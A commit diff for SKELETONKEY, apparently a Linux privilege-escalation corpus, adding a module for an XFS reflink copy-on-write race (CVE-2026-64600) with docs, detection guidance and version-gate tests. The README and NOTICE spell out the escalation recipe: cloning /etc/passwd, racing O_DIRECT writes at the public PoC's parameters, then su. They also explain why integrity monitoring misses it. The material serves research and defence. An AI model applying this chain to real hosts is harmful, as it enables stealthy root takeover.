`ftruncate`/`fdatasync` helpers cycling the `ILOCK`, for at most **16 rounds /
2 s**, and stops — reading the donor back with `O_DIRECT`, because a buffered read
would be served from the page cache the corruption bypasses and would hide a win.
It is deliberately under-driven against the public PoC's 32 writers and 8
helpers, and it **never clones or targets a file it does not own**: the step that
yields root — reflink-cloning `/etc/passwd` and racing writes onto *its* shared
blocks, then `su` — persistently rewrites a system file on disk with no undo, and
is documented but **not bundled**. Always returns `EXPLOIT_FAIL`.
Note the safety inversion versus the other reconstructed triggers: a won race
here corrupts **file data, not kernel memory**, so there is no oops, no KASAN
report and no panic path, and the blast radius is 4 KiB of a scratch file the
module then deletes. `refluxfs` therefore carries safety rank **55** — far above
`bad_epoll` (12) and `ghostlock` (11) — and `--cleanup` sweeps any
`skeletonkey-refluxfs-*` directories left by an interrupted run.
Detection gets a genuinely unusual treatment, because the obvious rule is the one
that fails. auditd/sigma anchor on the two operations the attack cannot avoid —
`ioctl` request **`0x40049409`** (`FICLONE`, matched exactly so it does not flood)
and `openat` with `O_DIRECT` (`& 0x4000`) — plus the post-exploitation euid-0
transition; falco adds the high-fidelity "reflinked a file owned by another user"
condition. And for once the **yara** rule is the right tool for a kernel bug:
since FIM is structurally blind here, it matches the *on-disk artifact* — a
`passwd` file with a password-less root entry or an added uid-0 account. The
module docs also recommend content-hash-vs-`mtime` drift monitoring, which is a
near-zero-false-positive detector for this entire bug class.
14 new `detect()` unit rows cover the backport boundaries, the 4.11 introduction
gate, the el8/el9 upstream bases, the "newer than some entries but not all" case,
and the no-XFS `PRECOND_FAIL` path (**148 tests total, 0 failures**).
**VM-verified 2026-07-23 — the corpus's first rpm-family verification**, taking
the empirical count to **29 of 41 CVEs**. Target: **Rocky Linux 9.8 /
`5.14.0-687.10.1.el9_8.0.1.x86_64`** under qemu/KVM with 6 vCPUs. The stock
GenericCloud layout needed **no provisioner changes at all** — root is
`/dev/vda4` XFS with `reflink=1` out of the box, which is precisely why this CVE
hits the RHEL family so broadly. `detect()` returned `VULNERABLE`, the
rpm-family vendor-backport caveat fired, the `--active` FICLONE witness confirmed
reflink, phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent, the
scratch dir self-cleaned, and the source built clean on el9 gcc.
The **underlying bug was separately confirmed winnable** on that kernel using a
VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers,
60 s — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, first
divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT` write
landed on a still-shared block and rewrote the donor's on-disk bytes — the
arbitrary-overwrite primitive observed directly, contained to files the test user
owned, with no oops and no dmesg output (as expected for a data-oriented bug).
Worth stating plainly, because it is the whole point of the design: the shipped
trigger **did not win** in its 2 s budget on a kernel that is provably
vulnerable. That is intended under-driving, not a defect — and it is the concrete
reason a non-win must **never** be recorded as "patched". Trust the version gate
and the vendor erratum.
Credit: **Qualys Threat Research Unit** (blog by **Saeed Abbasi**; the technical
advisory credits model-assisted kernel analysis performed with **Anthropic**),
and the upstream XFS maintainers who fixed it.
---
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
+1
View File
@@ -34,3 +34,4 @@
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+14 -13
View File
@@ -4,9 +4,9 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
<meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta name="description" content="One binary. 46 Linux privilege-escalation modules from 2016 to 2026. 29 of 41 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
<meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:description" content="46 Linux LPE modules; 29 of 41 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://skeletonkey.netslum.io/">
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
@@ -56,14 +56,14 @@
<div class="container hero-inner">
<div class="hero-eyebrow">
<span class="dot dot-pulse"></span>
v0.9.11 — released 2026-06-08
v0.9.14 — released 2026-07-23
</div>
<h1 class="hero-title">
<span class="display-wordmark">SKELETONKEY</span>
</h1>
<p class="hero-tag">
One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
<strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
One binary. <strong>46 Linux LPE modules</strong> covering 41 CVEs —
<strong>every year 2016 → 2026</strong>. 29 of 41 confirmed against
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
@@ -81,8 +81,8 @@
</div>
<div class="stats-row" id="stats-row">
<div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
<div class="stat-chip"><span class="num" data-target="46">0</span><span>modules</span></div>
<div class="stat-chip stat-vfy"><span class="num" data-target="29">0</span><span>✓ VM-verified</span></div>
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
</div>
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
<div class="bento-icon"></div>
<h3>CISA KEV prioritized</h3>
<p>
13 of 40 CVEs in the corpus are in CISA's Known Exploited
13 of 41 CVEs in the corpus are in CISA's Known Exploited
Vulnerabilities catalog — actively exploited in the wild.
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
</p>
@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)</pre>
<article class="bento-card bento-vfy">
<div class="bento-icon"></div>
<h3>28 modules empirically verified</h3>
<h3>29 modules empirically verified</h3>
<p>
<code>tools/verify-vm/</code> spins up known-vulnerable
kernels (stock distro + mainline from kernel.ubuntu.com), runs
<code>--explain --active</code> per module, and records the
verdict. <strong>28 of 40 CVEs</strong> confirmed against
verdict. <strong>29 of 41 CVEs</strong> confirmed against
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
<code>--list</code> shows ✓ per module.
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
<div class="container">
<div class="section-head">
<span class="section-tag">corpus</span>
<h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
<h2>41 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
</div>
<h3 class="corpus-h" data-color="green">
@@ -360,6 +360,7 @@ uid=0(root) gid=0(root)</pre>
<span class="pill yellow">nft_catchall</span>
<span class="pill yellow">bad_epoll</span>
<span class="pill yellow">ghostlock</span>
<span class="pill yellow">refluxfs</span>
</div>
<p class="corpus-foot">
@@ -420,7 +421,7 @@ uid=0(root) gid=0(root)</pre>
<div class="audience-icon">🎓</div>
<h3>Researchers / CTF</h3>
<p>
40 CVEs, 10-year span, each with the original PoC author
41 CVEs, 10-year span, each with the original PoC author
credited and the kernel-range citation auditable.
<code>--explain</code> shows the reasoning chain; detection
rules let you practice both sides. Source is the documentation.
@@ -517,7 +518,7 @@ uid=0(root) gid=0(root)</pre>
<div class="tl-col tl-shipped">
<div class="tl-tag">shipped</div>
<ul>
<li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>29 of 41 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
+211
View File
@@ -0,0 +1,211 @@
# refluxfs — CVE-2026-64600
"RefluXFS" — a time-of-check/time-of-use race in the XFS **reflink
copy-on-write** path that lets **any unprivileged local user overwrite the
on-disk contents of any file they can read**, on any XFS volume mounted with
`reflink=1` that they can write to. No user namespace, no capability, no crafted
filesystem image, no kernel offsets. It has been present since reflink direct-I/O
CoW landed in **4.11 (2017)** — a nine-year window.
This is the corpus's first XFS module, and its first **data-oriented** kernel
bug: the primitive is an arbitrary *file content* overwrite, not memory
corruption.
## The bug
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
extent map under `ILOCK`. To allocate a transaction it must wait for log space,
so `xfs_reflink_fill_cow_hole()` (`fs/xfs/xfs_reflink.c`) **drops `ILOCK`**. On
re-acquiring it, the code re-queries the refcount btree at the **original**
physical block number (`imap->br_startblock`) — and **never re-reads the data
fork**.
A second `O_DIRECT` writer, holding only the coarser `IOLOCK`, can complete an
entire CoW cycle inside that window: allocate block Y, write it, and remap via
`xfs_reflink_end_cow()`. The first writer's `imap` now points at a block owned
solely by the reflink **source**. Its stale refcount lookup returns `1`, it
concludes the block is private, and writes to it in place — landing attacker
data on the source file's on-disk blocks.
Three consequences follow, and they drive the whole module design:
1. **No offsets, no ROP, no KASLR/SMEP/SMAP.** There is nothing to port per
kernel build. Qualys is explicit that SELinux enforcing, container
boundaries and seccomp are equally irrelevant.
2. **The victim's inode is never written.** The data is applied to the shared
physical block *underneath* it, so `mtime`/`ctime`/size do not change and
there is no kernel log output. **File-integrity monitoring does not fire.**
3. **It persists across reboots**, because the change is on disk.
The public demonstration (RHEL 10.2) reflink-clones `/etc/passwd` into
`/var/tmp`, races concurrent direct-I/O writes against the clone, thereby
rewriting `/etc/passwd` itself to strip root's password, and runs `su`.
## Affected range
| | |
|---|---|
| Introduced | **4.11** (2017-02, commit `3c68d44a2b49`, "xfs: allocate direct I/O COW blocks in iomap_begin") |
| Fixed upstream | commit `2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK") — merged **2026-07-16**, released **7.2-rc4** |
| Stable backports | **7.1.4** (`e705d81a7193`) · **6.18.39** (`206c09b04dc5`) · **6.12.96** (`44f891bc0889`) |
| Affected, no upstream fix | 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines (per the CNA record at time of writing) |
| Not affected | < 4.11 — includes RHEL/CentOS **7** (3.10 predates reflink) |
| NVD class | CWE-362 (race) → CWE-367 (TOCTOU). NVD had published **no CWE and no CVSS vector** at time of writing |
| CISA KEV | no (disclosed 2026-07-22) |
**The exposure is distro-shaped, not kernel-shaped.** What matters is whether
XFS+reflink is the installer default:
| Exploitable out of the box | Not reachable by default |
|---|---|
| RHEL 8/9/10 · CentOS Stream 8/9/10 · Rocky/AlmaLinux 8/9/10 · Oracle Linux 8/9/10 (RHCK + UEK R6/R7/8) · CloudLinux 8/9/10 · Fedora Server ≥ 31 · Amazon Linux 2023 (and AL2 AMIs from 2022-12) | Debian · Ubuntu · Fedora Workstation · SLES · openSUSE · Arch (ext4/btrfs defaults — unless an XFS volume was added deliberately) |
### ⚠️ The version gate has a real blind spot here
The affected population is overwhelmingly **RHEL-family**, and those vendors
backport fixes **without bumping the upstream base version** — a patched RHEL 8
kernel still reports `4.18.0-xxx.el8`. An upstream-version gate cannot see that.
So on rpm-family hosts, a `VULNERABLE` verdict is a statement about the
**upstream base version only**. `detect()` prints that warning explicitly rather
than implying it checked the erratum. Confirm against the vendor advisory
(RHSA / ELSA / ALSA / RLSA) before acting on it.
## Trigger / detection
Unlike a pure kernel race, this bug's reachability **can** be established safely
and deterministically, so `detect()` is a version gate **plus a real
precondition probe**:
- **Passive** — is there a writable directory on a mounted XFS filesystem?
Identified via `statfs(2)` `f_type == XFS_SUPER_MAGIC`, **not** by a
successful `FICLONE`, because btrfs implements `FICLONE` too and is
unaffected. No such directory → `PRECOND_FAIL`, the correct verdict on a
stock Debian/Ubuntu host.
- **Active** (`--active` / `--auto`) — confirms `reflink=1` empirically by
cloning and removing two 4 KiB files, rather than assuming the `mkfs.xfs`
default. `reflink=0` → no shared extents can exist → `PRECOND_FAIL`.
- **Override** — `SKELETONKEY_XFS_ASSUME_REFLINK=1` (force reachable) / `0`
(force unreachable), for when you know the fleet's storage layout better than
a local probe can. This also drives the unit tests.
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
directory on the XFS mount and works **only on two files it owns**:
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
shared (refcount > 1), plus that `O_DIRECT` opens succeed. That is a
read-only observation that the exact filesystem state the bug misjudges
exists here. Reflink cloning is an ordinary supported operation, so this
phase is safe on any kernel.
- **(B) hard-bounded window exercise** — races **8** concurrent `O_DIRECT`
4 KiB writes against the clone while **2** helper threads cycle
`ftruncate`/`fdatasync` to keep the transaction allocator dropping `ILOCK` to
wait for log space, for at most **16 rounds / 2 s**. Then it stops and reads
the donor back **with `O_DIRECT`** — a buffered read would be served from the
page cache that the corruption bypasses, and would hide a win.
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
helpers and grinds far longer) and, more importantly, it **never clones or
targets a file it does not own**. The step that makes this root — reflink-cloning
a root-owned file such as `/etc/passwd` and racing writes onto *its* shared
blocks — persistently rewrites a system file on disk **with no undo**, so it is
documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`.
If the race *is* won, the module says so loudly: that is CVE-2026-64600
confirmed present, empirically, with the damage contained to 4 KiB of the
operator's own scratch file.
## VM verification (2026-07-23)
Confirmed on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** under
qemu/KVM with 6 vCPUs — the stock GenericCloud installer layout, root on
`/dev/vda4` XFS with `reflink=1`, no provisioner changes:
| Check | Result |
|---|---|
| `detect()` on real XFS | **VULNERABLE** (found writable XFS at `/var/tmp`) |
| rpm-family backport caveat | fired correctly |
| `--active` FICLONE witness | **reflink CONFIRMED** |
| Phase A shared extent | **`FIEMAP_EXTENT_SHARED` set** (btrfs never reported it; XFS does) |
| Phase A `O_DIRECT` gate | available |
| Shipped trigger (8 writers / 2 helpers / 2 s) | ran 16 rounds, **did not win***by design* |
| Scratch cleanup | no artifacts left |
| Build on el9 gcc | clean |
**The underlying bug was separately confirmed winnable on that kernel**, using a
VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers,
60 s budget — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, with
the first divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT`
write landed on a still-shared block and rewrote the donor's on-disk bytes —
the arbitrary-overwrite primitive, observed directly, contained to files the
test user owned.
Note carefully what this does and does not say. The shipped trigger **not**
winning in 2 s on a kernel that is provably vulnerable is exactly the designed
behaviour, and is the concrete reason a non-win must **never** be read as
"patched" — trust the version gate and the vendor erratum instead.
### Why this ranks *above* the other reconstructed race triggers
`bad_epoll` (12) and `ghostlock` (11) sit at the bottom of the `--auto` safety
ranking because a won race frees a live `struct file` or corrupts the kernel
**stack** — silent destabilisation or near-certain panic. Neither applies here.
RefluXFS corrupts **file data, not kernel memory**: there is no oops, no KASAN
report, no panic risk, and the blast radius of a win is one 4 KiB scratch file
we created and delete. That is why `refluxfs` carries safety rank **55** — it is
genuinely safe to run, and the ranking should say so. The VM run above bears
this out: the bug was won 4/4 times on a vulnerable kernel with no oops, no
dmesg output and no instability.
## Detection — the obvious rule does not work
**Do not rely on `-w /etc/passwd -p wa`, AIDE, or Tripwire for this CVE.** The
attacker never issues a `write(2)` against the victim inode; XFS applies their
data to the shared physical block beneath it. Size, `mtime` and `ctime` are
unchanged and nothing is logged. Anyone relying on FIM to catch a `passwd`
modification is blind to this bug *by construction*.
What does work, in descending order of fidelity:
1. **The reflink itself**`ioctl(fd, FICLONE, srcfd)` where `FICLONE` is
`0x40049409`. auditd can match the request number **exactly**, so it does not
flood, and the attack cannot avoid it. Tune out `cp --reflink=auto`, podman
and `systemd-nspawn` image work.
2. **`O_DIRECT` opens** — `openat` flags `& 0x4000`. Also on the critical path,
and rare outside databases and backup agents.
3. **Content-vs-metadata drift** — because the bytes change while `mtime` does
not, hashing `/etc/passwd`, `/etc/shadow` and the setuid binaries on a
schedule and alerting when the *content* hash moves **without** a
corresponding `mtime` change is a near-zero-false-positive detector for this
whole bug class.
The shipped rules cover all three: auditd/sigma anchor on the `FICLONE` request
number and `O_DIRECT` opens (correlated per-pid, plus the post-exploitation
euid-0 transition), falco adds the high-fidelity "reflinked a file owned by
another user" condition, and — unusually for a kernel bug — the **yara** rule is
genuinely the right tool, matching the on-disk artifact (`/etc/passwd` with a
password-less root entry or an added uid-0 account) precisely because there is
no metadata trace for FIM to find.
## Fix / mitigation
Upgrade the kernel (≥ 7.1.4 / 6.18.39 / 6.12.96 on-branch, or 7.2+; on
RHEL-family, the vendor erratum) **and reboot**.
There is **no partial mitigation**, which is why `mitigate()` is `NULL`:
`reflink` is a superblock feature that cannot be disabled on a live filesystem,
`O_DIRECT` cannot be turned off, and — because this is a data-oriented bug —
SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
around, isolate, or live-patch."*
`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind
if a trigger run was killed mid-round; normal runs remove their own.
## Credit
Discovery and research: **Qualys Threat Research Unit (TRU)**; the blog post is
authored by **Saeed Abbasi**, and the technical advisory credits model-assisted
kernel analysis performed with **Anthropic**. Upstream fix `2f4acd0fcd86`. See
`NOTICE.md`.
+117
View File
@@ -0,0 +1,117 @@
# NOTICE — refluxfs (CVE-2026-64600)
## Vulnerability
**CVE-2026-64600** — "RefluXFS", a **time-of-check/time-of-use race** in the
Linux kernel's XFS **reflink copy-on-write** path
(`fs/xfs/xfs_iomap.c` :: `xfs_direct_write_iomap_begin`
`fs/xfs/xfs_reflink.c` :: `xfs_reflink_allocate_cow` /
`xfs_reflink_fill_cow_hole` / `xfs_find_trim_cow_extent`).
A direct-I/O writer reads the data-fork extent map under `ILOCK`, then drops
`ILOCK` to allocate a transaction (waiting for log space). On re-acquiring the
lock it re-queries the refcount btree at the **original** physical block number
(`imap->br_startblock`) and never re-reads the data fork. A concurrent
`O_DIRECT` writer holding only the coarser `IOLOCK` can complete a full CoW
cycle in that window (allocate block Y, write, remap via
`xfs_reflink_end_cow()`), leaving the first writer's `imap` pointing at a block
now owned solely by the reflink **source**. The stale lookup returns refcount
`1`, the writer treats the block as private, and writes to it in place.
The resulting primitive is **not memory corruption**: it is an arbitrary
overwrite of the **on-disk contents of any file the attacker can read**, on any
reflink-enabled XFS volume they can write to. It needs **no kernel offsets, no
ROP, and no KASLR/SMEP/SMAP bypass**, and it is unaffected by SELinux enforcing,
container boundaries or seccomp. Because the write is applied to the shared
physical block *beneath* the victim inode, the victim's `mtime`/`ctime`/size
never change and no kernel log output is produced — **file-integrity monitoring
does not detect it** — and the change persists across reboots.
Reachable by **any unprivileged local user**: no capability, no user namespace,
no crafted filesystem image. Preconditions are only an XFS filesystem mounted
with `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) that the user can
write to, plus read access to the target file. NVD class: **CWE-362** (race)
yielding **CWE-367** (TOCTOU); NVD had published neither a CWE nor a CVSS vector
at time of writing. **Not** in CISA KEV (disclosed 2026-07-22).
## Research credit
- **Discovery and research** by the **Qualys Threat Research Unit (TRU)**,
published 2026-07-22 as "RefluXFS: A Linux Kernel Local Privilege Escalation
to Root in XFS (CVE-2026-64600)"
(<https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600>),
authored by **Saeed Abbasi**, with the technical advisory at
<https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt> and the disclosure
posted to oss-security
(<https://www.openwall.com/lists/oss-security/2026/07/22/14>). The advisory
credits model-assisted kernel analysis performed with **Anthropic**.
Qualys demonstrated end-to-end root on **RHEL 10.2** by reflink-cloning
`/etc/passwd` into `/var/tmp` and racing concurrent direct-I/O writes to
rewrite it in place. SKELETONKEY's trigger reconstruction uses only the
published shape of that race — the reflink clone, the concurrent `O_DIRECT`
writers, and the `ftruncate`/`fdatasync` helpers that widen the window — and
reuses no exploitation code; it never targets a file it does not own.
- **Introduced** in **4.11** (2017-02) by commit `3c68d44a2b49` ("xfs: allocate
direct I/O COW blocks in iomap_begin").
- **Fixed upstream** by commit
`2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7` ("xfs: resample the data fork
mapping after cycling ILOCK"), merged **2026-07-16** for **7.2-rc4**; stable
backports **7.1.4** (`e705d81a7193`), **6.18.39** (`206c09b04dc5`) and
**6.12.96** (`44f891bc0889`).
- Authoritative version data: the Linux kernel CNA record
(<https://cveawg.mitre.org/api/cve/CVE-2026-64600>,
`git.kernel.org/stable/c/<hash>`). The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 /
4.18 LTS lines are affected with no upstream stable fix published at time of
writing; RHEL-family, Oracle UEK and Amazon vendor branches backport the fix
**without bumping the upstream base version**, so the vendor erratum
(RHSA / ELSA / ALSA / RLSA) — not `uname -r` — is authoritative there.
All credit for finding, analysing and exploiting this bug belongs to the Qualys
Threat Research Unit and to the upstream XFS maintainers who fixed it.
SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — VM-verified, and deliberately not weaponised.**
Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`**
(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM:
`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms
reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent.
The underlying bug was separately confirmed winnable on that kernel — **4/4
runs, first divergence after 69-494 rounds** in a 60 s budget — via a VM-only
harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`).
The shipped trigger, deliberately under-driven, did **not** win in its 2 s
budget on that same vulnerable kernel; that is intended, and is why a non-win
must never be read as "patched". See `MODULE.md` for the full result table.
This is the corpus's first XFS
module and its first **data-oriented** kernel bug — every other kernel entry
corrupts memory; this one corrupts file contents.
`detect()` is a kernel-version gate over the three-branch backport table
(7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; introduced 4.11) **plus a
real precondition probe**: a writable directory on a mounted XFS filesystem,
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` rather than by a working
`FICLONE`, since btrfs implements `FICLONE` too and is unaffected. Under
`--active` it confirms `reflink=1` empirically. Override with
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it explicitly warns
that the upstream-version verdict cannot see a vendor backport.
`exploit()` forks an isolated child that works only inside a private `mkdtemp`
scratch directory, on two files it owns: it confirms a shared extent via
`FIEMAP_EXTENT_SHARED` (a safe, read-only observation of the refcount state the
bug misjudges), then races a hard-bounded 8 writers / 2 helpers / 16 rounds / 2 s
window and stops, reading the donor back with `O_DIRECT` to report divergence
honestly.
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
helpers) and **never clones or targets a file it does not own**. The escalation
step — reflink-cloning a root-owned file such as `/etc/passwd` and racing writes
onto its shared blocks, then `su` — persistently rewrites a system file on disk
with no undo, and is documented in `MODULE.md` but **not bundled**. It always
returns `EXPLOIT_FAIL` and never claims root it did not get.
Unlike the corpus's other reconstructed race triggers, a won race here cannot
touch kernel memory: there is no oops, no KASAN report and no panic risk, and
the blast radius is 4 KiB of our own scratch file. That is why it ranks **55**
in `--auto` safety rather than at the bottom alongside `bad_epoll` (12) and
`ghostlock` (11).
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* refluxfs_cve_2026_64600 — SKELETONKEY module registry hook
*/
#ifndef REFLUXFS_SKELETONKEY_MODULES_H
#define REFLUXFS_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module refluxfs_module;
#endif
+2 -1
View File
@@ -35,7 +35,7 @@
#include <string.h>
#include <unistd.h>
#define SKELETONKEY_VERSION "0.9.13"
#define SKELETONKEY_VERSION "0.9.14"
static const char BANNER[] =
"\n"
@@ -1018,6 +1018,7 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
+122
View File
@@ -74,6 +74,7 @@ extern const struct skeletonkey_module cifswitch_module;
extern const struct skeletonkey_module nft_catchall_module;
extern const struct skeletonkey_module bad_epoll_module;
extern const struct skeletonkey_module ghostlock_module;
extern const struct skeletonkey_module refluxfs_module;
static int g_pass = 0;
static int g_fail = 0;
@@ -1010,6 +1011,127 @@ static void run_all(void)
&ghostlock_module, &h_ghl_710,
SKELETONKEY_OK);
/* ── refluxfs (CVE-2026-64600) ───────────────────────────────
* Version gate over a THREE-branch backport table (fixed 7.1.4 /
* 6.18.39 / 6.12.96 on-branch, 7.2+ inherits mainline; introduced
* 4.11) AND a storage precondition: the XFS reflink CoW race is only
* reachable where a writable XFS filesystem is mounted, so a
* vulnerable kernel on an ext4/btrfs-only host is PRECOND_FAIL, not
* VULNERABLE. We drive that deterministically with
* SKELETONKEY_XFS_ASSUME_REFLINK (1=reachable, 0=no XFS) so the rows
* don't depend on the CI runner having an XFS volume. Patched and
* predates-the-bug rows return OK before the probe is consulted, so
* they hold regardless of the override.
*
* The RHEL-family base versions carry real weight here: 4.18 (el8)
* and 5.14 (el9) are the primary affected population and sit below
* every table entry. Note those vendors backport without bumping the
* upstream version — detect() warns about that at runtime; these rows
* pin the upstream-version behaviour only. */
setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "1", 1);
/* 3.10.0 — RHEL/CentOS 7; predates reflink entirely → OK */
struct skeletonkey_host h_rfx_3100 =
mk_host(h_kernel_6_12, 3, 10, 0, "3.10.0-el7-test");
run_one("refluxfs: 3.10.0 (el7) predates XFS reflink → OK",
&refluxfs_module, &h_rfx_3100,
SKELETONKEY_OK);
/* 4.10.0 — one below the 4.11 introduction → OK */
struct skeletonkey_host h_rfx_4100 =
mk_host(h_kernel_6_12, 4, 10, 0, "4.10.0-test");
run_one("refluxfs: 4.10.0 one below the 4.11 introduction → OK",
&refluxfs_module, &h_rfx_4100,
SKELETONKEY_OK);
/* 4.18.0 — RHEL 8 upstream base, below every entry → VULNERABLE */
struct skeletonkey_host h_rfx_4180 =
mk_host(h_kernel_6_12, 4, 18, 0, "4.18.0-el8-test");
run_one("refluxfs: 4.18.0 (el8 base) + XFS → VULNERABLE",
&refluxfs_module, &h_rfx_4180,
SKELETONKEY_VULNERABLE);
/* 5.14.0 — RHEL 9 upstream base → VULNERABLE */
struct skeletonkey_host h_rfx_5140 =
mk_host(h_kernel_6_12, 5, 14, 0, "5.14.0-el9-test");
run_one("refluxfs: 5.14.0 (el9 base) + XFS → VULNERABLE",
&refluxfs_module, &h_rfx_5140,
SKELETONKEY_VULNERABLE);
/* 6.1.100 — LTS branch with no published backport → VULNERABLE */
struct skeletonkey_host h_rfx_61100 =
mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test");
run_one("refluxfs: 6.1.100 (LTS, no upstream fix) → VULNERABLE",
&refluxfs_module, &h_rfx_61100,
SKELETONKEY_VULNERABLE);
/* 6.12.95 one below the 6.12.96 backport → VULNERABLE */
struct skeletonkey_host h_rfx_61295 =
mk_host(h_kernel_6_12, 6, 12, 95, "6.12.95-test");
